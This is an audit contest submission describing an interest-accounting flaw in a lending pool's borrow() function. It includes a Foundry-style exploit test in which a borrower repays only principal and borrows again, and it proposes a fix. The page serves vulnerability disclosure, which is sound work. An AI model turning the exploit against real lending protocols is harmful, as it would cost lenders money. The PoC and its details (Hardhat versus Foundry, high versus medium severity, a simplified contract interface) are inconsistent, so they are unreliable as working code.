Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Borrowing Without Paying Interest. Underestimation of debt. balanceIncrease not accounted for when adding to user.scaledDebtBalance in borrow()

Summary

In LendingPool.sol, borrow() when the User's borrow scaledAmount is being added to scaledDebtBalancethe balanceIncrease from repay() is not accounted for.

Meaning borrower's debt balance won't be updated correctly ( underestimation of debt )-> the accured interest (for lenders ) won't be properly accounted for -> borrowers can repay less then they should, leading to bad debt, loss of money for lenders and protocol owners.

Vulnerability Details

https://github.com/Cyfrin/2025-02-raac/blob/main/contracts/core/pools/LendingPool/LendingPool.sol#L356-#L358

IRToken(reserve.reserveRTokenAddress).transferAsset(msg.sender, amount);
user.scaledDebtBalance += scaledAmount;

1. Accrued Interest Is Ignored

A user can borrow and repay without paying the accrued interest. The additional interest calculated over time is not added to scaledDebtBalance before new borrow amounts are applied. This allows borrowers to repay only the principal amount while avoiding interest payments.

2. Potential Exploitation

  • Borrowers can continuously borrow and repay without their debt balance growing correctly.

  • This leads to bad debt accumulation, where total outstanding debt is less than expected.

  • Lenders lose expected interest payments, making lending unprofitable.

  • Protocol sustainability is at risk, as its reserves will deplete over time.

POC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract MockERC20 is ERC20, Ownable {
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals_) ERC20(name, symbol) {
_decimals = decimals_;
}
function decimals() public view override returns (uint8) {
return _decimals;
}
function mint(address to, uint256 amount) external onlyOwner {
_mint(to, amount);
}
function burn(address from, uint256 amount) external onlyOwner {
_burn(from, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "../src/LendingPool.sol";
import "../src/MockERC20.sol";
contract LendingPoolExploitTest is Test {
LendingPool lendingPool;
MockERC20 usdc;
address borrower;
function setUp() public {
usdc = new MockERC20("Mock USDC", "USDC", 6);
lendingPool = new LendingPool(address(usdc));
borrower = address(0x1234);
usdc.mint(borrower, 10_000 * 1e6);
}
function testExploit() public {
vm.startPrank(borrower);
usdc.approve(address(lendingPool), 10_000 * 1e6);
// Borrower deposits collateral
lendingPool.deposit(1_000 * 1e6);
// Borrow 1,000 USDC
lendingPool.borrow(1_000 * 1e6);
// Simulate time passing (interest should accrue)
vm.warp(block.timestamp + 30 days);
// Repay only principal without accrued interest
lendingPool.repay(1_000 * 1e6);
// Borrow again, avoiding interest
lendingPool.borrow(1_000 * 1e6);
// Check if debt remains artificially low
uint256 debtBalance = lendingPool.getUserDebt(borrower);
assertEq(debtBalance, 1_000 * 1e6, "Debt should be higher if interest was applied");
vm.stopPrank();
}
}
  1. Borrower deposits 1000 USDC as collateral.

  2. Borrower takes a loan of 1000 USDC.

  3. 30 days pass, and interest should accrue.

  4. Borrower repays only 1000 USDC, without accounting for accrued interest.

  5. Borrower immediately borrows 1000 USDC again, exploiting the missing interest update.

  6. Debt balance remains artificially low, demonstrating the vulnerability.

Impact

Medium. While not imidiatly protocol breaking, over time can do serious damage.

  • Potential Insolvency: If this issue persists, the lending pool may become undercollateralized, leading to systemic failures.

  • Less people using the protocol: As mentionned lenders loose most of their investment's profit leading to users leaving the protocol.

Tools Used

  • Manual Code Review

  • Test Simulations in Hardhat

Recommendations

To prevent this vulnerability, update user.scaledDebtBalance before adding new borrow amounts by incorporating the accrued interest (balanceIncrease):

// Ensure previously accrued interest is accounted for
user.scaledDebtBalance = user.scaledDebtBalance.rayMul(reserve.usageIndex); // Apply previous interest
user.scaledDebtBalance += scaledAmount; // Add new borrow amount
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow tracks debt as user.scaledDebtBalance += scaledAmount while DebtToken mints amount+interest, leading to accounting mismatch and preventing full debt repayment

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.